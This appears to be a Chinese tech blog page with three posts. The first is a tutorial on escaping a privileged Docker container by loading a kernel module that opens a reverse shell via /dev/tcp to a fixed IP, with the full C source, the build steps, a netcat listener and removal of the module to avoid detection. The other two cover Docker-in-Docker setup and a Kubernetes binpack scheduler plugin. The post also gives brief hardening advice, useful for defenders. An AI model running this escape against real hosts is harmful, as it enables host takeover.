Docker on Vincent's Blog

Docker Hack

Tue, 28 Jan 2025 20:38:05 +0800

Docker 容器越狱：利用内核模块注入启动反向 Shell

引言

Docker提供了一个轻量级、可移植的虚拟化环境，让应用程序可以隔离运行。但Docker 容器并非完全安全，特别是在容器与宿主机之间存在一定的隔离漏洞时。Docker 容器越狱，指的是通过利用容器中的漏洞突破容器的安全限制，进而获取对宿主机的访问权限。这篇文章将深入探讨如何通过内核模块注入的方式，启动一个反向 Shell，以突破 Docker 容器的安全限制，并讲解这一过程的各个步骤。

容器特权与安全漏洞

Docker 容器提供了一个隔离的环境，使得应用程序和宿主机之间的交互受到严格限制。然而，这种隔离并不是万无一失的。容器越狱通常依赖于容器中所拥有的特权权限，例如 CAP_SYS_MODULE 权限。如果容器内的进程具有加载和卸载内核模块的能力，攻击者可以利用这一点来实现越狱。

根据 Panoptica 的研究，有多种方式可以利用容器特权进行攻击。其中之一就是通过注入内核模块来创建反向 Shell，绕过容器的安全限制，获得宿主机的控制权限。

利用 CAP_SYS_MODULE 权限

首先，确认容器是否拥有 CAP_SYS_MODULE 权限，这个权限允许进程加载和卸载内核模块。可以使用以下命令查看容器的权限：

capsh --print
# 示例输出如下
root@216ef70c252b:/# capsh --print
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore
Ambient set =
Current IAB: 
Securebits: 00/0x0/1'b0 (no-new-privs=0)
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)

如果capsh不存在可以参考command-not-found安装

容器环境配置

在开始进行内核模块注入之前，我们需要在容器内安装一些必要的工具和内核头文件。这些工具有助于我们编译内核模块并成功注入。执行以下命令来安装必要的工具：

apt install -y kmod net-tools gcc netcat vim make

此外，还需要安装内核头文件，以便编译内核模块：

apt install -y linux-headers-$(uname -r)

如果 apt 无法找到适合的内核头文件，可以通过手动搜索并下载适合的 .deb 包，使用 dpkg 命令进行安装。

反向 Shell 编写与内核模块注入

接下来，我们需要编写一个内核模块，它将启动一个反向 Shell。以下是编写内核模块的步骤：

编写 Makefile

创建一个 Makefile 文件，以便编译内核模块：

obj-m += reverse-shell.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

编写反向 Shell C 代码

创建一个 reverse-shell.c 文件，其中包含反向 Shell 的代码：

#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

# 修改10.10.14.8为容器地址，
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

此代码会启动一个反向 Shell，将连接发送到攻击者的 IP 地址（修改为实际的 IP 地址）。

bash -i >& /dev/tcp/10.10.14.8/4444 0>&1

命令创建了一个bash，并将输入输出重定向到tcp://10.10.14.8:4444(容器端口)

监听与反向连接

在容器中，首先启动监听进程，监听反向 Shell 的连接：

# 监听 4444 端口
nc -lnvp 4444 &

然后，编译并注入内核模块：

make
insmod reverse-shell.ko

此时，容器将尝试与攻击者的机器建立连接，反向 Shell 被启动。可以通过以下命令查看后台的 nc 进程：

jobs

重新将 nc 进程带回前台，以获取反向 Shell：

fg <id>

恢复与清理

如果操作成功，反向 Shell 就已启动并与攻击者的机器建立了连接。此时，为了避免被检测到，您可能需要清理痕迹，移除内核模块：

# 移除内核模块
rmmod reverse-shell

总结

通过以上步骤，我们展示了如何利用 Docker 容器中的 CAP_SYS_MODULE 权限，通过内核模块注入的方式启动一个反向 Shell。

在实际应用中，要尽量避免授予不必要的特权。

在上一篇博客中提到了Docker in Docker技术，要求容器一定要具有特权，对此有2种方法

在Docker容器外再套一层虚拟机，就算恶意用户越狱也无法跳出虚拟机限制

替换更安装的运行时，如sysbox

附录

在Docker容器中运行Docker

Mon, 27 Jan 2025 21:00:44 +0800

dind(docker in docker)

什么是 Docker in Docker

Docker in Docker（DIND）是一种在 Docker 容器中运行 Docker 引擎的方法。这种方法常用于测试、CI/CD 和开发环境中，以便在隔离的环境中运行 Docker 容器。例如，使用 Docker 容器来创建和管理其他容器，而无需直接依赖宿主机上的 Docker 引擎。

应用场景：

CI/CD：在持续集成（CI）和持续部署（CD）过程中，您可能需要构建 Docker 镜像，并将其推送到 Docker 注册中心。在这种情况下，可以使用 Docker in Docker 来在容器中运行 Docker 构建任务。
测试和开发：开发人员可以在容器内运行 Docker，以测试和开发涉及多个容器的应用程序。
资源隔离：通过在容器内运行 Docker，能够提供与宿主机隔离的资源和环境，避免与宿主主机上的其他进程或容器发生冲突。

在容器内运行 Docker 引擎需要容器拥有较高的权限。通常，Docker 容器默认是以非特权模式运行的，这意味着它们无法访问宿主机的某些资源和功能。为了能够在容器内运行 Docker，必须给容器授予特权模式（--privileged），允许容器访问宿主机的所有设备、特权操作和内核功能。

启动docker in docker

在容器内运行docker，需要主机具有特权

准备所需的文件

dind-init.sh

该脚本是从github codespace中获取的，脚本主要包括清理旧的 PID 文件、挂载所需的文件系统、启用 cgroup 嵌套、配置 DNS、启动 Docker 守护进程。其中嵌套了dind脚本（一个由社区维护的docker in docker 配置脚本）

https://github.com/moby/moby/blob/master/hack/dind

#!/bin/sh
#----------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See https://go.microsoft.com/fwlink/?linkid=2090316 for license information.
#----------------------------------------------------------------------------------------------

set -e

AZURE_DNS_AUTO_DETECTION=false
DOCKER_DEFAULT_ADDRESS_POOL=
DOCKER_DEFAULT_IP6_TABLES=
dockerd_start="AZURE_DNS_AUTO_DETECTION=${AZURE_DNS_AUTO_DETECTION} DOCKER_DEFAULT_ADDRESS_POOL=${DOCKER_DEFAULT_ADDRESS_POOL} DOCKER_DEFAULT_IP6_TABLES=${DOCKER_DEFAULT_IP6_TABLES} $(cat << 'INNEREOF'
    # explicitly remove dockerd and containerd PID file to ensure that it can start properly if it was stopped uncleanly
    find /run /var/run -iname 'docker*.pid' -delete || :
    find /run /var/run -iname 'container*.pid' -delete || :

    # -- Start: dind wrapper script --
    # Maintained: https://github.com/moby/moby/blob/master/hack/dind

    export container=docker

    if [ -d /sys/kernel/security ] && ! mountpoint -q /sys/kernel/security; then
        mount -t securityfs none /sys/kernel/security || {
            echo >&2 'Could not mount /sys/kernel/security.'
            echo >&2 'AppArmor detection and --privileged mode might break.'
        }
    fi

    # Mount /tmp (conditionally)
    if ! mountpoint -q /tmp; then
        mount -t tmpfs none /tmp
    fi

    set_cgroup_nesting()
    {
        # cgroup v2: enable nesting
        if [ -f /sys/fs/cgroup/cgroup.controllers ]; then
            # move the processes from the root group to the /init group,
            # otherwise writing subtree_control fails with EBUSY.
            # An error during moving non-existent process (i.e., "cat") is ignored.
            mkdir -p /sys/fs/cgroup/init
            xargs -rn1 < /sys/fs/cgroup/cgroup.procs > /sys/fs/cgroup/init/cgroup.procs || :
            # enable controllers
            sed -e 's/ / +/g' -e 's/^/+/' < /sys/fs/cgroup/cgroup.controllers \
                > /sys/fs/cgroup/cgroup.subtree_control
        fi
    }

    # Set cgroup nesting, retrying if necessary
    retry_cgroup_nesting=0

    until [ "${retry_cgroup_nesting}" -eq "5" ];
    do
        set +e
            set_cgroup_nesting

            if [ $? -ne 0 ]; then
                echo "(*) cgroup v2: Failed to enable nesting, retrying..."
            else
                break
            fi

            retry_cgroup_nesting=`expr $retry_cgroup_nesting + 1`
        set -e
    done

    # -- End: dind wrapper script --

    # Handle DNS
    set +e
        cat /etc/resolv.conf | grep -i 'internal.cloudapp.net' > /dev/null 2>&1
        if [ $? -eq 0 ] && [ "${AZURE_DNS_AUTO_DETECTION}" = "true" ]
        then
            echo "Setting dockerd Azure DNS."
            CUSTOMDNS="--dns 168.63.129.16"
        else
            echo "Not setting dockerd DNS manually."
            CUSTOMDNS=""
        fi
    set -e

    if [ -z "$DOCKER_DEFAULT_ADDRESS_POOL" ]
    then
        DEFAULT_ADDRESS_POOL=""
    else
        DEFAULT_ADDRESS_POOL="--default-address-pool $DOCKER_DEFAULT_ADDRESS_POOL"
    fi

    # Start docker/moby engine
    ( dockerd $CUSTOMDNS $DEFAULT_ADDRESS_POOL $DOCKER_DEFAULT_IP6_TABLES > /tmp/dockerd.log 2>&1 ) &
INNEREOF
)"

sudo_if() {
    COMMAND="$*"

    if [ "$(id -u)" -ne 0 ]; then
        sudo $COMMAND
    else
        $COMMAND
    fi
}

retry_docker_start_count=0
docker_ok="false"

until [ "${docker_ok}" = "true"  ] || [ "${retry_docker_start_count}" -eq "5" ];
do
    # Start using sudo if not invoked as root
    if [ "$(id -u)" -ne 0 ]; then
        sudo /bin/sh -c "${dockerd_start}"
    else
        eval "${dockerd_start}"
    fi

    retry_count=0
    until [ "${docker_ok}" = "true"  ] || [ "${retry_count}" -eq "5" ];
    do
        sleep 1s
        set +e
            docker info > /dev/null 2>&1 && docker_ok="true"
        set -e

        retry_count=`expr $retry_count + 1`
    done

    if [ "${docker_ok}" != "true" ] && [ "${retry_docker_start_count}" != "4" ]; then
        echo "(*) Failed to start docker, retrying..."
        set +e
            sudo_if pkill dockerd
            sudo_if pkill containerd
        set -e
    fi

    retry_docker_start_count=`expr $retry_docker_start_count + 1`
done

# Execute whatever commands were passed in (if any). This allows us
# to set this script to ENTRYPOINT while still executing the default CMD.
exec "$@"

启动一个容器

以特权模式启动容器，并挂载我们准备的目录

以特权模式启动一个容器

docker run -it --rm --privileged -v $(pwd)/dind-init.sh:/tmp/dind-init.sh --dns 8.8.8.8 ubuntu bash

安装 dockerd

apt update && apt install -y curl
curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh --mirror Aliyun

如果在访问软件源时存在网络问题，可以先进行换源

bash <(curl -sSL https://linuxmirrors.cn/main.sh)

执行dind-init.sh脚本

chmod +x /tmp/dind-init.sh
/tmp/dind-init.sh

测试dind正常运行

docekr ps
docker run -it --rm busybox curl example.com

潜在问题

性能开销

DIND 的一种常见问题是性能开销。由于 Docker 守护进程需要在容器内运行，且容器要访问宿主机的资源，可能会导致一定的性能下降。在 CI/CD 或测试环境中使用时，可能会影响构建速度。

权限问题

由于 Docker 守护进程需要访问宿主机的内核功能和设备（如挂载的 Docker socket 和网络设置），因此必须以特权模式运行容器。如果不使用 --privileged 参数，Docker 将无法正常工作。但是特权容器容易被恶意攻击，导致宿主机被恶意访问。

附录

封面由DALL生成，提示词如下：

A digital artwork of a large Docker whale, symbolizing the main Docker container, with a smaller Docker whale inside it, representing a containerized environment. The large whale has a playful, dynamic appearance with the smaller whale comfortably inside its body, showing the concept of Docker in Docker. The background features a soft, tech-inspired blue with abstract shapes resembling a cloud or network. The image should have a clean and minimalistic design with a high-tech, modern look. Lighting should highlight the whales, creating depth and focus. Created using: digital painting, soft gradients, high-definition quality, natural look, modern tech style, soft shadows, vivid colors, and sleek lines --ar 16:9

Kubernetes调度器扩展

Fri, 03 Jan 2025 14:54:14 +0800

引言

在Kubernetes的官方文档介绍中，有2种方法可以实现对原生调度器的扩展

scheduling-framework：直接编写一个完整的调度器，并替换原生的调度器，即使用scheduling-framework，在原生的调度器代码中，使用调度框架接入自定义的插件实现调度器扩展。
scheduler extender：原生的调度器支持以Webhook的方式使用HTTP请求来连接到额外的调度器扩展，但是这种方式只支持过滤和优先排序阶段，某些调度方法无法实现（比如gang调度）。

	优点	缺点
scheduling-framework	性能好：由于插件与调度器一同编译，调度器以程序内部函数的方式直接调用插件，性能很好。扩展性好：支持更多的扩展点，可以实现更复杂的逻辑。	兼容性：不同的集群版本需要重新编译代码
scheduler extender	实现简单：不需要重新编译调度器，只需创建一个HTTP服务，实现调度逻辑即可。	性能差：调度请求需要经过 HTTP 调用，增加了调度延迟，且不能复用调度器内部的缓存，需要重新维护本地缓存，有资源浪费。

binpack调度算法

Binpack 算法的核心目标是尽可能将已有节点填满，避免将工作负载分散到空闲节点上。这种调度策略有助于将应用负载聚集到部分节点上，从而便于集群自动扩缩容的管理。为类似GPU算力这样的稀缺资源进行binpack调度策略，可以减少GPU资源碎片化，提示资源利用率。具体实现上，Binpack 算法会对每个可用节点打分，节点得分越高表示其资源利用率越高，从而优先选择这些节点进行 Pod 调度。

在 Kubernetes 原生调度器扩展中，Binpack 调度算法以插件的形式注入到调度流程中，主要应用于节点打分阶段。在调度过程中，插件会考虑节点的剩余资源，并根据配置的各资源权重计算节点得分。

以下图为例，有4个节点，每个节点可用的资源（例如GPU卡）分别为2、3、5、1。在筛选阶段，节点4就会被淘汰，随后进入我们的打分插件为节点进行打分，并规整到调度器的标准分数范围0-100，最后节点1得分最高胜出。

scheduling-framework

调度器在进行 “Pod 调度” 时会依次经历多个环节，例如：

QueueSort：给待调度 Pod 排队；
Filter：筛掉不符合要求的节点；
Score：对剩余可调度节点打分；
Reserve：保留资源；
Permit：自定义准入控制；
Bind：最终在节点上创建 Pod；
其它扩展点：Prefilter、PostFilter、PostBind …

我们可以选择在任何环节注入自定义插件，以达到定制化调度策略的目的。

对于binpack调度只需要在Score阶段引入插件即可实现。

代码解析

演示的代码在scheduler-plugins-binpack仓库的plugin/binpack分支下，该分支基于release-1.23分支切出，只支持k8s 1.23版本。

package binpack

import (
    "context"
    "fmt"
    "math"

    "k8s.io/api/core/v1"
    "k8s.io/apimachinery/pkg/runtime"
    "k8s.io/klog/v2"
    "k8s.io/kubernetes/pkg/scheduler/framework"
)

type BinPack struct {
    handle framework.Handle
}

// 确保 BinPack 实现了 framework.ScorePlugin 的接口
var _ = framework.ScorePlugin(&BinPack{})

// Name is the name of the plugin used in the Registry and configurations.
const Name = "Binpack"

func (bp *BinPack) Name() string {
    return Name
}

// Score 插件的核心，给每个节点打分
func (bp *BinPack) Score(ctx context.Context, state *framework.CycleState, pod *v1.Pod, nodeName string) (int64, *framework.Status) {
    // 通过 handle 可以获取当前节点的快照信息
    nodeInfo, err := bp.handle.SnapshotSharedLister().NodeInfos().Get(nodeName)
    if err != nil {
        return 0, framework.NewStatus(framework.Error, fmt.Sprintf("getting node %q from Snapshot: %v", nodeName, err))
    }
    // 根据节点剩余 CPU 进行打分
    return bp.score(nodeInfo)
}

// score 函数，根据剩余 CPU 得到“反向得分”
func (bp *BinPack) score(nodeInfo *framework.NodeInfo) (int64, *framework.Status) {
    // 剩余可分配 = 可分配CPU - 已分配CPU
    rest := nodeInfo.Allocatable.MilliCPU - nodeInfo.Requested.MilliCPU
    // 将分数设为 -rest，剩余越多，分数越低
    score := -rest
    klog.Infof("node %s get score %d", nodeInfo.Node().Name, score)
    return score, nil
}

// ScoreExtensions 返回一个实现了 NormalizeScore 的对象
func (bp *BinPack) ScoreExtensions() framework.ScoreExtensions {
    return bp
}

// NormalizeScore 将各节点的原始分数映射到 [0,100] 区间
func (bp *BinPack) NormalizeScore(ctx context.Context, state *framework.CycleState, p *v1.Pod, scores framework.NodeScoreList) *framework.Status {
    // 找到最高和最低分
    var highest int64 = math.MinInt64
    var lowest int64 = math.MaxInt64
    for _, nodeScore := range scores {
        if nodeScore.Score > highest {
            highest = nodeScore.Score
        }
        if nodeScore.Score < lowest {
            lowest = nodeScore.Score
        }
    }

    // oldRange = 原始分数范围
    oldRange := highest - lowest
    // newRange = 框架允许的分数范围
    newRange := framework.MaxNodeScore - framework.MinNodeScore

    // 将所有节点 score 映射到 [MinNodeScore, MaxNodeScore]
    for i, nodeScore := range scores {
        if oldRange == 0 {
            // 如果所有节点分数都相同，就给一个默认分数
            scores[i].Score = framework.MaxNodeScore
        } else {
            scores[i].Score = ((nodeScore.Score - lowest) * newRange / oldRange) + framework.MinNodeScore
        }
    }

    return nil
}

// New 用于在插件工厂中创建 BinPack 实例
func New(args runtime.Object, h framework.Handle) (framework.Plugin, error) {
    return &BinPack{
        handle: h,
    }, nil
}

Score

获取节点信息 nodeInfo，拿到剩余 CPU rest
令 score = -rest。这样剩余资源越多，得分越小，越不优先。

NormalizeScore

找到所有节点中最高与最低原始分数。
按照 线性插值 的方法，将 [lowest, highest] 区间映射到 [0, 100] 区间。

随后在cmd/scheduler/main.go中接入插件

func main() {
	// Register custom plugins to the scheduler framework.
	// Later they can consist of scheduler profile(s) and hence
	// used by various kinds of workloads.
	command := app.NewSchedulerCommand(
		//......
		app.WithPlugin(binpack.Name, binpack.New),
	)

	code := cli.Run(command)
	os.Exit(code)
}

构建镜像

进入项目目录
执行make local-image
tag并push localhost:5000/scheduler-plugins/kube-scheduler:latest 镜像（可选）

部署

以下步骤使用kind环境进行演示

导入调度器镜像

kind load docker-image localhost:5000/scheduler-plugins/kube-scheduler:latest

进入控制集群机器

docker exec -it $(docker ps | grep control-plane | awk '{print $1}') bash

备份kube-scheduler

cp /etc/kubernetes/manifests/kube-scheduler.yaml /etc/kubernetes/kube-scheduler.yaml

创建/etc/kubernetes/sched-cc.yaml文件，在配置文件中启用Binpack插件

apiVersion: kubescheduler.config.k8s.io/v1beta3
kind: KubeSchedulerConfiguration
leaderElection:
  # (Optional) Change true to false if you are not running a HA control-plane.
  leaderElect: false
clientConnection:
  kubeconfig: /etc/kubernetes/scheduler.conf
profiles:
- schedulerName: default-scheduler
  plugins:
    score:
      enabled:
      - name: Binpack

修改调度器配置/etc/kubernetes/manifests/kube-scheduler.yaml，在其中挂载新的调度器配置，并在flag中引入配置，同时修改镜像为包含Binpack调度器插件的镜像

16d15
+     - --config=/etc/kubernetes/sched-cc.yaml
17a17,18
-     - --kubeconfig=/etc/kubernetes/scheduler.conf
-     - --leader-elect=true
19,20c20
+     image: localhost:5000/scheduler-plugins/kube-scheduler:latest
---
-     image: registry.k8s.io/kube-scheduler:v1.23.0
50,52d49
+     - mountPath: /etc/kubernetes/sched-cc.yaml
+       name: sched-cc
+       readOnly: true
60,63d56
+   - hostPath:
+       path: /etc/kubernetes/sched-cc.yaml
+       type: FileOrCreate
+     name: sched-cc

配置修改后，集群中的kube-scheduler会自行重启

详细流程可以参考：https://github.com/kubernetes-sigs/scheduler-plugins/blob/master/doc/install.md#as-a-single-scheduler-replacing-the-vanilla-default-scheduler

运行示例：

总结

在本文中，我们比较了两种 Kubernetes 调度器扩展方式：Scheduling Framework 和 Scheduler Extender。

Scheduling Framework 插件直接与调度器进程内的生命周期钩子结合，无需额外的 HTTP 通信，性能好、扩展点多，适合对 Kubernetes 版本有可控的场景。
Scheduler Extender 无需重编译调度器，仅以 HTTP 请求的方式进行 Filter、Prioritize 扩展，部署更为灵活，但性能和可扩展性相对受限。

此外，我们通过一个 Binpack 算法 的示例（Score Plugin 形式）说明了如何在 Scheduling Framework 中注入“资源打包”逻辑，使调度器倾向于将工作负载集中到已有使用率较高的节点，从而减少资源碎片、提高资源利用率。该插件主要包含两个核心点：

Score：基于“剩余资源越少，分数越高”的思路；
NormalizeScore：将原始分数映射到调度框架所需的 0,1000, 1000,100 区间。

在实际应用中，类似 GPU 等稀缺资源的 Binpack 策略更具价值，可避免 GPU 过度分散和浪费。若想进一步扩展，可结合 Prefilter、Filter、Reserve、Permit、Bind 等更多调度阶段，打造更复杂的调度场景。

附录

Kubernetes 调度框架和扩展器的比较
官方scheduler-plugins示例，更多复杂的调度实现可以参考